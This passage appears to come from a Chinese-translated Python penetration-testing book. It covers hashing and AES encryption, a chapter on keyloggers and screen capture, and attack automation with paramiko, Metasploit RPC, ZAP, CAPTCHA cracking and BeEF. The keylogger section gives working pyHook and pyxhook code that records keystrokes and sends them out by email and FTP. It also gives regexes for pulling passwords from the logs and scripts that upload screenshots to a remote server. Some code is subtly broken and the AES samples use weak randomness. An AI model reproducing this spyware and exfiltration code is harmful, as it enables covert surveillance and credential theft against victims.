hashed = argon2.argon2_hash("password", "some_salt", ) 

此外,我们可以使用模块bcryptpbkdf2来使用这些算法。

使用bcrypt的示例如下:

import bcrypt 
hashed = bcrypt.hashpw(password, bcrypt.gensalt()) 

这将使用随机生成的盐对密码进行哈希处理。

使用pbkdf2的示例如下:

import pbkdf2 
salted_password = pbkdf2.pbkdf2_hex(password, some_random_salt, 
                                  iterations=1000, keylen=24)

这将使用1000次迭代创建一个 24 字节长的哈希。我们可以通过增加迭代次数来减慢哈希函数的速度。

对称加密算法

对称加密算法,或称为秘密密钥算法,使用私有变量密钥将其输入数据或明文转换为密文。我们可以使用相同的密钥解密密文,该密钥用于加密消息。密码是一种简单的加密和解密消息的方法。

加密算法主要分为两类:

  • 对称加密中使用的算法:对称加密是一种同时用于加密和解密的单一密钥。一些对称加密算法的示例包括 AES、Blowfish、DES、IDEA、serpent 等。

  • 非对称加密中使用的算法:非对称加密使用两个密钥:私钥和公钥——一个用于加密,另一个用于解密。非对称算法的示例包括 Diffe-Hellman(DH)和RSA

提示

您可以在这里阅读更多关于对称加密的内容:www.cs.cornell.edu/courses/cs5430/2010sp/TL03.symmetric.html

块和流密码

分组密码加密已知为块的固定大小数据。通常,每个块的大小相对较大,为 64 位、128 位或 256 位。因此,分组密码将每个块分别加密到与密文相同大小。在输入位较短于块大小的情况下,会调用填充方案。每个块都使用相同的密钥。分组密码的例子包括 AES、DES、Blowfish 和 IDEA。

流密码一次加密一位或一字节的小块明文。它使用无限的伪随机位流作为密钥,这个伪随机生成器应该是不可预测的。此外,为了以安全的方式实现流密码,密钥不应该被重复使用。

PyCrypto

PyCrypto,全称Python 密码学工具包,是一个包含哈希函数和加密算法的不同加密模块的集合。PyCrypto 模块提供了在 Python 程序中实现强加密所需的所有函数。

要使用加密算法,我们可以从Crypto.Cipher中导入它:

from Crypto.Cipher import AES 
encrypt_AES = AES.new('secret-key-12345', AES.MODE_CBC, 'This is an IV456') 
message = "This is message " 
ciphertext = encrypt_AES.encrypt(message) 
print ciphertext 

这将创建密文。由于 PyCrypto 块级加密 API 非常低级,它只接受 16、24 或 32 字节长的密钥用于 AES-128、AES-196 和 AES-256,分别。密钥越长,加密越强。我们可以按以下方式解密它:

decrypt_AES = AES.new('secret-key-12345', AES.MODE_CBC, 'This is an IV456') 
message_decrypted =  decrypt_AES.decrypt(ciphertext) 
print message_decrypted 

现在我们将得到我们的明文。

文件的 AES 加密

高级加密标准AES)是一种对称分组密码,由三种分组密码组成:AES-128、AES-192 和 AES-256。每个加密/解密数据的块大小为 128 位,密钥分别为 128、192 和 256 位。

以下脚本加密所提供的文件。此外,它处理初始化向量IV)的随机生成。

首先加载所有所需的模块:

from Crypto.Cipher import AES 
import os, random, struct 

现在,定义加密文件的函数:

def encrypt_file(key, filename, chunk_size=64*1024): 

    output_filename = filename + '.encrypted' 

在函数内部创建初始化向量:

iv = ''.join(chr(random.randint(0, 0xFF)) for i in range(16))
# Initialization vector  

然后我们可以在 PyCrypto 模块中初始化 AES 加密方法:

    encryptor = AES.new(key, AES.MODE_CBC, iv) 
    filesize = os.path.getsize(filename)  

读取文件并写入加密输出文件:

     with open(filename, 'rb') as inputfile: 
        with open(output_filename, 'wb') as outputfile: 
            outputfile.write(struct.pack('<Q', filesize)) 
            outputfile.write(iv) 

            while True: 
                chunk = inputfile.read(chunk_size) 
                if len(chunk) == 0: 
                    break 
                elif len(chunk) % 16 != 0: 
                    chunk += ' ' * (16 - len(chunk) % 16) 

                outputfile.write(encryptor.encrypt(chunk)) 

最后,调用函数加密文件:

encrypt_file('abcdefghji123456', 'sample-file.txt');

现在我们可以检查如何解密这个加密文件。要编写一个可以解密的函数,我们必须导入相同的模块。然后,定义函数如下:

def decrypt_file(key, filename, chunk_size=24*1024): 

    output_filename = os.path.splitext(filename)[0] 

读取加密文件并输出解密文件:

    with open(filename, 'rb') as infile: 
        origsize = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0] 
        iv = infile.read(16)

初始化decryptor方法以解密文件:

        decryptor = AES.new(key, AES.MODE_CBC, iv) 

        with open(output_filename, 'wb') as outfile: 
            while True: 
                chunk = infile.read(chunk_size) 
                if len(chunk) == 0: 
                    break 
                outfile.write(decryptor.decrypt(chunk)) 

            outfile.truncate(origsize) 

最后,输出原始解密文件:

decrypt_file('abcdefghji123456', 'sample-file.txt.encrypted'); 

摘要

我们已经讨论了 Python 中使用的哈希和加密模块。现在您将能够在您的脚本中使用这些模块。我们将在下一章中讨论一些键盘记录技术。

第八章:键盘记录和屏幕截取

使用 Python,我们可以以编程方式执行诸如捕获所有按键、捕获屏幕、记录正在运行的程序、关闭它们、监视剪贴板内容等任务。黑客可能使用这些技术恶意获取受害者的私人信息,而雇主可能使用它们来监视员工的活动。

本章涵盖的主题如下:

  • 使用 Python 进行键盘记录

  • 屏幕截取

键盘记录器

键盘记录器是一种实时记录按键的软件或硬件设备。它们用于解决计算机和网络的技术问题。它们也可以用于在没有直接知识的情况下监视人们的网络和计算机使用情况。因此,这也可以在公共计算机上被滥用来窃取密码或信用卡信息。

硬件键盘记录器

基于硬件的键盘记录器可以在没有安装任何软件的情况下监视受害者的活动。它们可以很容易地被检测到,因为它是一个物理设备,可能连接在计算机键盘和 USB/PS2 端口之间的某个地方。还有更先进的硬件键盘记录器,它们在外部不可见,也不依赖于任何软件。因此,它们无法被任何软件检测到。但是,硬件键盘记录器需要对受害者进行物理访问。

对于无线键盘,可以拦截从键盘发送到其接收器的信号,使用无线嗅探器。

软件键盘记录器

使用软件键盘记录器,我们可以从远程系统提供对本地记录的按键的访问。这可以通过将记录的按键上传到数据库或 FTP 服务器来实现。我们还可以定期将其作为电子邮件附件发送。

使用 pyhook 的键盘记录器

要创建一个简单的键盘记录器脚本来记录计算机上的按键活动并将其存储在文本文件中,我们可以使用pyhook模块。这将为 Windows 系统提供全局鼠标和键盘事件的回调。

导入所需的模块。在这里,我们从 ActivePython Package 导入pyhook和 pythoncom 模块。pythoncom模块在此脚本中用于为当前线程传递所有消息:

import pyHook, pythoncom, sys, logging 

定义保存日志数据的文件。 (Windows 文件名使用反斜杠作为分隔符。但是,在 Python 中,反斜杠是一个转义字符,所以我们必须在路径中放置双斜杠\\。否则,我们可以使用原始字符串来定义文件名。):

file_log='C:\\log.txt' 

现在我们可以定义处理每个键盘事件的函数。在这里,我们可以利用日志模块来记录每个字符:

def OnKeyboardEvent(event): 
    logging.basicConfig(filename*file_log, level=logging.DEBUG, format='%(message)s') 
    chr(event.Ascii) 
    logging.log(10,chr(event.Ascii)) 
    return True 

在这里,我们实例化pyhook管理器:

hooks_manager = pyHook.HookManager() 

在每次按键时调用键盘事件函数:

hooks_manager.KeyDown = OnKeyboardEvent 
hooks_manager.HookKeyboard() 
pythoncom.PumpMessages() 

这将在 Windows 系统中工作。要在 Linux 中使用,我们必顈依赖另一个模块:pyxhook。您可以从github.com/JeffHoogland/pyxhook获取此模块。

使用pyxhook,您可以重写前面的脚本以在 Linux 中使用:

import pyxhook 
file_log=/home/rejah/Desktop/file.log' 
def OnKeyboardEvent(event): 
   k = event.Key 

    if k == "space": k = " " 

   with open(file_log, 'a+') as keylogging: 
      keylogging.write('%s\n' % k)   

#instantiate HookManager class 
hooks_manager = pyxhook.HookManager() 

#listen to all keystrokes 
hooks_manager.KeyDown=OnKeyPress 

#hook the keyboard 
hooks_manager.HookKeyboard() 

#start the session 
hooks_manager.start() 

我们可以改进脚本以将按键记录到远程服务器或处理特定的按键。

要将记录的按键发送到电子邮件,我们可以使用smtplib模块。我们需要导入所需的模块:

import time 
import datetime 
import smtplib 
from email.mime.text import MIMEText

然后我们可以定义通过连接到我们的 SMTP 服务器发送电子邮件的方法:

def sendEmail(data,to): 
    try: 
        # Provide from email address 
        from = 'you@yourdomain.com' 
        # Your SMTP username 
        username = 'keylogger' 
        # Your Email password 
        password = 'asd123' 
        # Use MIMEText to create an email 
        mail = MIMEText(data, 'html') 
        mail['Subject']  = "Keylogger Data --" +str(datetime.datetime.now()) 
        mail['From']=from 
        mail['To'] = to 

        # Send the message via your SMTP server 
        server = smtplib.SMTP('smtp.yourdomain.com:587') 
        # Enable TLS if required 
        server.starttls() 
        server.login(username,password) 
        server.sendmail(from, [to], mail.as_string()) 
        server.quit() 
    except: 
        pass

现在我们可以将数据和地址传递给这个方法。这将把按键发送到指定的地址。现在我们可以重写OnKeyboardEvent方法来发送按键:

def OnKeyboardEvent(event): 
    # Write character only if its not a null or backspace  
    if event.Ascii !=0 or 8: 
        # Open log file and read the current keystrokes in log file 
        f=open('c:\log.txt','r+') 
        buffer=f.read() 
        f.close()  

        if len(buffer)%100==0 and len(buffer)%100!=0: 
            #send last 1000 characters to the email 
            send_email(buffer[-1000:].replace("\n","<br>"),email) 

        # Open the log.txt file to update new keystrokes 
        f=open('c:\log.txt','w') 
        keylogs=chr(event.Ascii) 

        # if the key pressed is ENTER, update with /n  
        if event.Ascii==13: 
            keylogs='\n' 

        #if the key pressed is space, update with space  
        if event.Ascii==32: 
            keylogs='  ' 

        # Add new keystrokes to buffer 
        buffer+=keylogs 

        # Write the buffer to log file 
        f.write(buffer) 
        # close the log file 
        f.close() 

现在,当日志文件中有 1000 个字符时,这将把按键发送到指定的电子邮件 ID。同样,我们可以添加一个方法将文件上传到 FTP 服务器。在这里,我们必须导入ftplib模块和os模块:

import ftplib 
import os 

然后,定义将文件上传到 FTP 服务器的方法

def uploadToFTP(data,to): 
    # Write data to a file 
    fileName="log-"+str(datetime.datetime.now()+".txt" 
    logFile=open(fileName,"a") 
    logFile.write(data) 
    logFile.close() 

    try: 
        # Provide FTP server address 
        server = 'yourdomain.com' 
        # Your FTP username 
        username = 'keylogger' 
        # Your FTP password 
        password = 'asd123' 
        # SSL state, set 1 if SSL enabled in server 
        SSL = 0 
        # FTP Directory to upload the file 
        directory = "/"  
        # Create normal FTP connection If SSL disabled 
        if SSL==0: 
            connection=ftplib.FTP(server,username,password) 
        # Create SSL enabled FTP connection 
        elif SSL==1: 
            connection=ftplib.FTP_TLS(server,username,password) 

        # Change directory in FTP connection 
        connection.cwd(directory) 
        # Open the log file 

        logFile=open(fileName,'rb') 
        # Upload the file to FTP server 
        connection.storbinary('STOR' +' '+fileName,logFile) 
        # Close the FTP connection 
        connection.quit() 
        # Close the log file 
        logFile.close() 
        # Delete the temporary log file 
        os.remove(fileName) 
    except: 
        pass

现在我们可以在OnKeyboardEvent函数中使用此方法将按键上传到 FTP 服务器。

键盘记录器的输出将是一个巨大的文件,其中包含隐藏的数据的数兆字节文本。我们可以使用正则表达式扫描此文件以获取所需的数据。例如,两个正则表达式可以匹配一堆文本中的用户名和密码。

要识别电子邮件 ID,可以使用以下正则表达式:

 ^[\w!#$%&'*+\-/=?\^_`{|}~]+(\.[\w!#$%&'*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+[a-zA-Z]{2,4})|(([0-9]{1,3}\.){3}[0-9]{1,3}))$ 

要识别超过六个字母的类似密码的模式:

(?=^.{6,}$)(?=.*\d)(?=.*[a-zA-Z])

使用正则表达式,我们可以搜索具有模式并且可以构建为正则表达式表达式的任何数据。此类数据的一些示例包括社会安全号码、信用卡号码、银行账户、电话号码、姓名、密码等。

屏幕截取

屏幕抓取程序捕获受害者的桌面并将图像发送到远程服务器。有许多 Python 模块可用于以编程方式抓取屏幕的光栅图像。我们可以利用Python 图像库PIL)用于 Windows 和 OSX。 PIL 包含ImageGrab模块,可用于抓取屏幕截图。

导入模块,这里我们还导入时间模块以使执行休眠三秒,允许用户在抓取之前切换屏幕显示:

from PIL import ImageGrab 
import time

休眠三秒并拍摄屏幕截图:

time.sleep(3) 
ImageGrab.grab().save("screen_capture.jpg", "JPEG") 

我们还可以通过提供以下区域来在屏幕上拍摄特定区域的屏幕截图:

ImageGrab.grab(bbox=(10,10,510,510)).save("screen_capture.jpg", "JPEG") where, bbox=(X1,Y1,X2,Y2)

以下截图说明了示例:

屏幕截图

要在 Linux 系统上抓取屏幕截图,我们必须使用具有跨平台兼容性的wxPython库。我们可以从wxpython.org/download.php下载 wxPython

导入 wx 模块:

import wx 

首先,创建应用程序实例:

wx.App()

wx.ScreenDC方法提供对整个桌面的访问,其中还包括任何扩展的桌面监视器屏幕:

screen = wx.ScreenDC() 
size = screen.GetSize() 

创建具有屏幕大小的新空位图作为目的地:

bmp = wx.EmptyBitmap(size[0], size[1]) 
mem = wx.MemoryDC(bmp) 

将屏幕位图复制到返回的捕获位图中:

mem.Blit(0, 0, size[0], size[1], screen, 0, 0) 
del mem 

将位图保存为图像:

bmp.SaveFile('screenshot.png', wx.BITMAP_TYPE_PNG) 

此外,我们可以将此屏幕截图发送到远程位置,只需对脚本进行最小更改。例如,我们可以使用scp协议将其发送到另一台服务器:

import os 
os.system("scp screenshot.png user@remote-server.com:/home/user/")

或者,我们可以使用ftplib使用 FTP 协议上传文件:

导入模块ftplib

import ftplib 

使用远程服务器凭据开始新会话:

session = ftplib.FTP('remote-server.com','user','password') 

使用以下代码打开文件:

file = open('screenshot.png','rb')

发送文件:

session.storbinary('STOR screenshot.png', file)

关闭文件和 FTP 会话:

file.close()                                     
session.quit() 

总结

我们已经讨论了您可以使用 Python 进行按键记录和屏幕截图的基本模块。现在,您可以创建这些脚本的定制版本来记录按键并抓取屏幕截图。我们将在下一章中讨论一些攻击自动化技术。

第九章:攻击自动化

自动化工具使我们能够探索和利用比任何手动方法可能的漏洞更多。在我看来,没有什么能比得上由经验丰富的安全专家执行的手动安全测试结合一组自动化部分。复杂的脚本可以将攻击分散到多个主机,并避免被列入黑名单。

本章涵盖的主题如下:

  • 使用 paramiko 进行 SFTP 自动化

  • Nmap 自动化

  • W3af REST API

  • 使用 MSGRPC 进行 Metasploit 脚本化

  • OWASP zap API

  • 破解验证码

  • 使用 Python 访问 BeEF API

  • 使用 Python 访问 Nessus 6 API

Paramiko

通过 SSH 在远程系统中运行命令是自动化的最常见组件之一。Python 模块 paramiko 通过提供对 SSH 的编程接口,使这变得容易。Paramiko 通过导入库为您提供了在 Python 中使用 SSH 功能的简便方法。这使我们能够执行通常需要手动执行的 SSH 任务。

使用 paramiko 建立 SSH 连接

paramiko 的主要类是paramiko.SSHClient,它提供了一个基本的接口来初始化服务器连接:

使用 paramiko 建立 SSH 连接

这将创建一个新的 SSHClient 实例,然后我们调用connect()方法,该方法连接到 SSH 服务器。

当我们使用任何 SSH 客户端连接到远程机器时,该远程主机的密钥将自动存储在我们的主目录中的.ssh/known_hosts文件中。因此,第一次连接到远程系统时,我们将收到以下消息:

使用 paramiko 建立 SSH 连接

当您在此消息中输入“是”时,它将在known_hosts文件中添加一个条目。通过接受此消息,为该主机添加了一定程度的信任。相同的规则适用于 paramiko。默认情况下,SSHClient 实例将拒绝连接没有在我们的known_hosts文件中保存密钥的主机。这将在创建自动化脚本时造成问题。我们可以将主机密钥策略设置为使用 paramiko 自动添加丢失的主机密钥,如下所示:

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 

现在,连接到ssh并自动添加主机密钥的脚本将如下所示:

使用 paramiko 建立 SSH 连接

使用 paramiko 运行命令

我们现在使用 paramiko 连接到远程主机。然后,我们可以使用此连接在远程主机上运行命令:

stdin, stdout, stderr = sshObj.exec_command('uptime') 
for line in stdout.readlines():

        print line.strip()

ssh.close()

响应数据将是元组(stdinstdoutstderr),我们可以读取输出并写入输入。例如,如果我们运行一个需要输入的命令,我们可以使用stdin

stdin, stdout, stderr = ssh.exec_command("sudo ls") 
stdin.write('password\n') 
stdin.flush() 
for line in stdout.readlines(): 
        print line.strip()

有了这个,我们可以创建一个可以自动化许多任务的交互式 shell。

使用 paramiko 进行 SFTP

我们还可以使用 paramiko 处理远程主机上的文件操作。

提示

SFTP代表SSH 文件传输协议,或安全文件传输协议。这是一个单独的协议,几乎与通过 SSH 进行安全连接的 FTP 相同。

为此,我们首先像以前一样实例化一个新的paramiko.SSHClient实例:

使用 paramiko 进行 SFTP

然后,在连接到远程主机后,我们使用open_sftp(),它将返回一个paramiko.SFTPClient客户端对象。paramiko.SFTPClient将支持所有的 SFTP 操作。在这里,我们列出了远程服务器根目录中的文件。

我们可以使用get()方法下载文件,使用put()方法上传文件。

要下载远程密码文件:

remotepath = '/etc/passwd' 
localpath = '/home/remote-passwd' 
sftp.get(remotepath, localpath)

要将文件上传到远程主机:

remotepath = '/home/some-image.jpg' 
localpath = '/home/some-image.jpg' 
sftp.put(localpath, remotepath) 

python-nmap

网络映射器Nmap)是用于网络发现和安全审计的免费开源工具。它可以在所有主要计算机操作系统上运行,并且 Linux、Windows 和 Mac OS X 都提供官方的二进制软件包。python-nmap库有助于以编程方式操作nmap的扫描结果,以自动化端口扫描任务。

像往常一样,在安装了python-nmap后,我们必须导入模块nmap

import nmap

实例化nmap端口扫描程序:

nmap = nmap.PortScanner() 
host = '127.0.0.1' 

设置要扫描的hostport范围:

nmap.scan(host, '1-1024') 

我们可以打印用于扫描的command_line命令:

print nmap.command_line()

此外,我们可以获取nmap扫描信息:

print nmap.scaninfo()

现在我们扫描所有主机:

for host in nmap.all_hosts(): 
    print('Host : %s (%s)' % (host, nmap[host].hostname())) 
    print('State : %s' % nmap[host].state()) 

我们还扫描所有协议:

for proto in nmap[host].all_protocols(): 
    print('Protocol : %s' % proto) 

listport = nmap[host]['tcp'].keys() 
listport.sort() 

for port in listport: 
    print('port : %s\tstate : %s' % (port, nmap[host][proto][port]['state']))

此脚本将提供以下输出:

python-nmap

提示

您可以从这里获取更多关于python-nmap的选项:bitbucket.org/xael/python-nmap

W3af REST API

Web 应用程序审计和攻击框架W3af)是一个强大而灵活的环境,用于 Web 漏洞评估和利用 Web 应用程序漏洞。它有许多插件可以相互通信。例如,发现插件收集不同的 URL 进行测试,并传递给审计插件,审计插件使用这些 URL 来搜索漏洞。W3af 还可以利用它发现的漏洞。

W3af 有八种不同类型的插件:

  • 发现插件:爬行 Web 应用程序以查找新的 URL、表单和许多其他有趣的 Web 应用程序部分。这些插件在循环中运行,输出作为输入提供给下一个插件。

  • 审计插件:这些是 W3af 的主要部分,它们将发现插件的输出作为输入,并扫描各种 Web 应用程序漏洞,如 SQL、XSS 注入等。

  • Grep 插件:像 UNIX grep 实用程序一样,它们搜索每个 HTTP 请求和响应,以查找异常和有趣的信息。它可以是 IP 地址、错误代码、电子邮件 ID、信用卡号,甚至是风险的 JavaScript 代码。

  • Bruteforce 插件:这些插件有助于暴力破解在发现阶段发现的基本 HTTP 身份验证和表单登录身份验证。

  • 攻击插件:此插件将从知识库中读取漏洞对象并尝试利用它们。

  • Mangle 插件:这些插件有助于基于 sed 编辑器的正则表达式修改请求和响应。

  • Evasion 插件:这些插件有助于避免简单的入侵检测规则IDS)。

  • 输出插件:这些插件有助于创建不同文件格式的输出文件,如报告。

我们可以使用w3af API 连接到w3af并使用这些模块。首先,我们必须运行w3af API。要做到这一点,获取w3af并运行w3af_api

 $ ./w3af_api

w3af API 已经配置了一些可用于特定任务的配置文件。例如,OWASP_TOP10配置文件包括几个发现、审计和 grep 插件,用于执行 OWASP Top 10 安全性分析。因此,我们可以使用这些配置文件,或者我们可以创建自己的配置文件来运行w3af

使用w3af_api_client从脚本中访问w3af_api。安装w3af_api_client并导入它:

from w3af_api_client import Connection, Scan

现在我们可以创建到w3af API 的连接。这将在端口5000上运行:

connection = Connection('http://127.0.0.1:5000/')

我们可以通过检查其版本来确保连接正确:

print connection.get_version() 

现在,我们可以定义配置文件和要扫描的目标 URL:

profile = file('w3af/profiles/OWASP_TOP10.pw3af').read() 
target = ['http://localhost'] 

然后,我们实例化扫描实例:

scan = Scan(connection) 

现在我们可以开始扫描:

scan.start(profile, target) 

开始扫描后,我们可以获取发现、URL 和日志:

scan.get_urls() 
scan.get_log() 
scan.get_findings() 

我们可以使用以下方法获取fuzzable URL:

scan.get_fuzzable_requests()

由于 W3af 是一个 Python 工具,我们可以在脚本中将w3af作为模块导入并在脚本中使用其功能。为此,我们必须下载w3afsetup.py。我们可以从github.com/andresriancho/w3af-module获取整个模块的文件。

下载此模块并验证子模块文件夹w3af中是否包含所有文件。如果没有,请从github.com/andresriancho/w3af下载w3af文件夹并替换该文件夹。

然后,运行以下命令:

 $ sudo python setup.py install

这将安装w3af作为 Python 模块。接下来,我们可以像导入其他 Python 模块一样导入它:

import w3af 

或者,我们可以导入其他w3af模块,例如:

from w3af.core.data.kb.shell import Shell

使用 MSGRPC 的 Metasploit 脚本

Metasploit是一个开源项目,提供公共资源用于开发、测试和执行利用。它还可以用于创建安全测试工具、利用模块,以及作为渗透测试框架。

Metasploit 是用 Ruby 编写的,不支持用 Python 编写的模块或脚本。

然而,Metasploit 确实有一个 MSGRPC,使用 MSGPACK 的双向 RPC(远程过程调用)接口。pymetasploit Python 模块有助于在 Python 和 Metasploit 的msgrpc之间进行交互。

因此,在编写脚本之前,我们必须加载msfconsole并启动msgrpc服务。接下来,让我们启动 Metasploit 和 MSGRPC 接口。我们可以在 Metasploit 中使用msfrpcd启动 MSGRPC。以下是msfrpcd的完整选项:

$ ./msfrpcd

输出如下:

使用 MSGRPC 进行 Metasploit 脚本编写

以密码123456启动 MSGRPC:

$ ./msfrpcd -P 123456 -n -f 

使用 MSGRPC 进行 Metasploit 脚本编写

现在 Metasploit 的 RPC 接口正在侦听端口55553。我们可以继续编写我们的 Python 脚本。

与 MSGRPC 交互几乎与与msfconsole交互类似。首先,我们必须创建msfrpc类的实例。然后,使用凭据登录到msgrpc服务器,并创建一个虚拟控制台。

我们可以使用 PyMetasploit Python 模块来自动化 Python 的利用任务。从github.com/allfro/pymetasploit克隆该模块:

$ git clone https://github.com/allfro/pymetasploit.git

转到以下模块文件夹:

$ cd pymetasploit

安装模块:

$ python setup.py install

现在,我们可以在我们的脚本中导入该模块:

from metasploit.msfrpc import MsfRpcClient

然后,我们可以为MsfRpcClient创建一个新实例。我们必须对 Metasploit 进行身份验证才能在其中运行任何命令。因此,传递密码以对 Metasploit 进行身份验证:

client = MsfRpcClient('123456') 

我们可以通过这个实例浏览核心 Metasploit 功能:

dir(client) 

这将列出核心功能。现在我们可以列出辅助选项:

auxilary = client.modules.auxiliary 
for i in auxilary: 
   print "\t%s" % I

类似地,我们可以使用相同的语法列出所有利用、编码器、有效载荷和后续的核心模块。我们可以使用use方法激活其中一个模块:

scan = client.modules.use('auxiliary', 'scanner/ssh/ssh_version') 

然后,我们可以设置参数:

scan['VERBOSE'] = True 
scan['RHOSTS'] = '192.168.1.119'

最后,运行模块:

Print scan.execute() 

如果执行成功,则输出如下:

{'job_id': 17, 'uuid': 'oxutdiys'}

如果失败,job_id将为 none。

接下来,如果攻击成功,我们可以使用会话方法访问 shell 和控制台:

client.sessions.list

这将列出所有当前活动的会话。如果攻击为受害者提供了 shell 访问权限,那么我们可以获取可用的 shell,并使用以下方法访问它们:

shell = client.sessions.session(1) 
shell.write('whoami\n') 
print shell.read() 

我们还可以连接到控制台并运行命令,就像在msfconsole中一样:

导入模块:

from metasploit.msfrpc import MsfRpcClient 
from metasploit.msfconsole import MsfRpcConsole 

创建客户端:

client = MsfRpcClient('123456', user='msf') 

使用客户端创建控制台:

console = MsfRpcConsole(client) 

现在我们可以使用这个实例来运行 Metasploit 命令,如下所示:

console.execute('use scanner/ssh/ssh_version') 
console.execute('set RHOSTS 192.168.1.119') 
console.execute('set VERBOSE True') 
console.execute('run')

输出将打印在控制台本身。

在这里,我们使用了 PyMetasploit 模块,但我们也可以使用 msgrpc 模块(github.com/SpiderLabs/msfrpc)。这将帮助我们访问底层功能,并在脚本中处理结果和控制台输出。

使用 Python 的 ClamAV 防病毒软件

我们可以使用 pyClamd,一个开源的 Python 模块,在 Linux、MacOSX 和 Windows 上使用 ClamAV 防病毒引擎。要从 Python 中以编程方式使用 ClamAV,您必须运行clamd守护程序的一个实例。

提示

您可以在 Windows、Linux 和 MacOSx 上安装 ClamAV。要在 Windows 和 Linux 上安装它,请参考官方 ClamAV 文档www.clamav.net/documents/installing-clamav。要在 MacOSX 上安装,请使用 homebrew。

安装 ClamAV 后,配置它以与网络套接字或 Unix 套接字一起工作。为此,我们必须更新clamd配置。您可以在 Linux 的/etc/clamav/文件夹中找到两个配置文件,Windows 的c:\clamAV\,以及 MacOSX 的/usr/local/etc/clamav。文件如下:freshclam.confclamd.conf

如果找不到这些配置文件,请从示例配置文件创建它们,并在freshclam.conf文件中更新数据库镜像 URL。Freshclam 将获取防病毒数据库更新,因此我们应立即运行它以获取初始数据库:

DatabaseMirror database.clamav.net

更新数据库镜像后,使用以下命令下载 ClamAV 数据库:

$ freshclam -v

clamd.conf中启用 Unix 套接字或网络套接字。要启用 Unix 套接字,请使用以下内容更新clamd.conf

LocalSocket /tmp/clamd.sock 

现在,您可以在终端窗口中使用clamd命令运行clamd守护程序。

在 Windows 中将clamd安装为服务时,请运行安装程序,并让其安装到默认位置c:\clamav\。还要确保正确配置 Unix 套接字,并且您在config文件中指定的位置存在。

然后,您可以从 Python 脚本中使用clamd。导入pyclamd模块:

import pyclamd

接下来,尝试使用 Unix 套接字连接到clamd守护程序,如果失败,则尝试使用网络套接字连接:

try: 
   clamd = pyclamd.ClamdUnixSocket() 
   # test if clamd unix socket is reachable 
   clamd.ping() 
except pyclamd.ConnectionError: 
   # if failed,  test for network socket 
   clamd = pyclamd.ClamdNetworkSocket() 
   try: 
         clamd.ping() 
   except pyclamd.ConnectionError: 
         raise ValueError('could not connect to clamd server either by unix
         or network socket')

我们可以通过打印clamd版本来确认代码:

print(clamd.version()) 

最后,扫描文件或文件夹以查找病毒:

print(clamd.scan_file('path-to-file-or-folder-to-scan')) 

如果发现病毒签名,这将输出详细信息。

提示

您可以在此处获取完整的 pyclamd 文档:xael.org/pages/python-module-pyclamd.html

从 Python 中的 OWASP ZAP

OWASP ZAPZed Attack Proxy)是一个开源的跨平台 Web 应用程序安全扫描器,用 Java 编写,并在所有流行的操作系统中都可用:Windows、Linux 和 Mac OS X。

OWASP ZAP 提供了一个 REST API,允许我们编写脚本以编程方式与 Zap 通信。我们可以使用python-owasp-zap模块来访问此 API。可以使用 pip 安装python-owasp-zap-v2.4模块。

首先加载所需的模块:

from zapv2 import ZAPv2 
from pprint import pprint 
import time 

定义要扫描的目标:

target = 'http://127.0.0.1'

现在,我们可以实例化zap实例,如下所示:

zap = zapv2()

这将使用假设zap在默认端口8080上监听来实例化一个新实例。如果 Zap 监听非默认端口,则必须将自定义代理设置作为参数传递,如下所示:

zap = ZAPv2(proxies={'http': 'http://127.0.0.1:8090', 'https': 'http://127.0.0.1:8090'}) 

设置目标并在zap中启动会话:

zap.urlopen(target) 

最好等一段时间,以便 URL 列表在zap中得到更新:

time.sleep(2)

现在,我们可以开始爬虫任务:

zap.spider.scan(target) 

我们可以使用以下命令开始被动扫描:

zap.ascan.scan(target)

最后,我们可以使用pprint来打印警报:

pprint (zap.core.alerts())

这为我们提供了来自zap的警报。

破解弱验证码

验证码Completely Automated Public Turing test to tell Computers and Humans Apart)是一种挑战-响应测试,用于确保响应是由人类生成的。它有助于防止机器人发送垃圾邮件、欺诈性注册、虚假的抽奖参与等。

许多网站实施自己的验证码,在这种情况下,我们可以从源获取验证码图像。这可以是一个链接,每次访问 URL 时都会生成一个带有新随机数字的图像。因此,为了绕过验证码,我们需要获取该图像中的随机数字或单词。

我们已经学会了如何使用 Python 自动发送 post 请求。在这里,我们可以学习如何从图像中获取随机代码。我们可以使用pytesseract Python 模块来读取带有光学字符识别OCR)引擎的图像。

提示

您可以在此处阅读更多关于 pytesseract 的内容,以在您的系统上安装它:github.com/madmaze/pytesseract

像往常一样,我们可以导入所需的模块:

import pytesseract 
from urllib import urlretrieve 
from PIL import Image 

下载验证码图像并保存:

link = 'http://www.cs.sfu.ca/~mori/research/gimpy/ez/96.jpg' 
urlretrieve(link,'temp.png') 

使用 OCR 引擎读取图像:

print pytesseract.image_to_string(Image.open('temp.png'))  

这将打印出验证码中的单词。有时,根据验证码图像中使用的噪音,需要进行一些图像操作。我们可以使用PIL库的功能来实现这一目的。以下是一个使字母加粗的示例:

img = Image.open('temp.png') 
img = img.convert("RGBA") 
pix = img.load() 

for y in xrange(img.size[1]): 
   for x in xrange(img.size[0]): 
         if pix[x, y][0] < 90: 
               pix[x, y] = (0, 0, 0, 255) 

for y in xrange(img.size[1]): 
   for x in xrange(img.size[0]): 
         if pix[x, y][1] < 136: 
               pix[x, y] = (0, 0, 0, 255) 

for y in xrange(img.size[1]): 
   for x in xrange(img.size[0]): 
         if pix[x, y][2] > 0: 
               pix[x, y] = (255, 255, 255, 255) 

img.save("temp.png", "png")

然后,使用此输出图像来输入 OCR 引擎。在获取验证码图像中的单词后,我们可以填写验证码值并提交表单。

提示

为了更好的准确性,我们可以训练 OCR 引擎。要了解有关训练 Tesseract 的更多信息:github.com/tesseract-ocr/tesseract/wiki/TrainingTesseract

用 Python 自动化 BeEF

浏览器利用框架BeEF)是一种利用浏览器漏洞来评估目标安全问题的安全工具。BeEF 是一个框架,为安全测试人员提供了客户端攻击向量。此外,它允许我们为每个浏览器和上下文选择特定的模块。本节将讨论如何使用框架提供的 REST API 自动化任务及其功能。

BeEF 专注于使用 JavaScript 挂钩的客户端上下文。它创建一个可以从控制面板控制的僵尸网络。当用户浏览包含挂钩的网站时,该浏览器将自动成为该僵尸网络的一部分。然后,攻击者可以向挂钩发送指令,以执行受害者的挂钩 Web 浏览器上的任务。这将提供有关 Web 浏览器的基本信息,启用或禁用插件和扩展,或者可以强制导航到另一个网站。由于它是在受害者访问的网页上下文中运行的简单 JavaScript 文件,因此关闭包括挂钩在内的此网站将使浏览器与僵尸网络断开连接,从而解决问题。

安装 BeEF

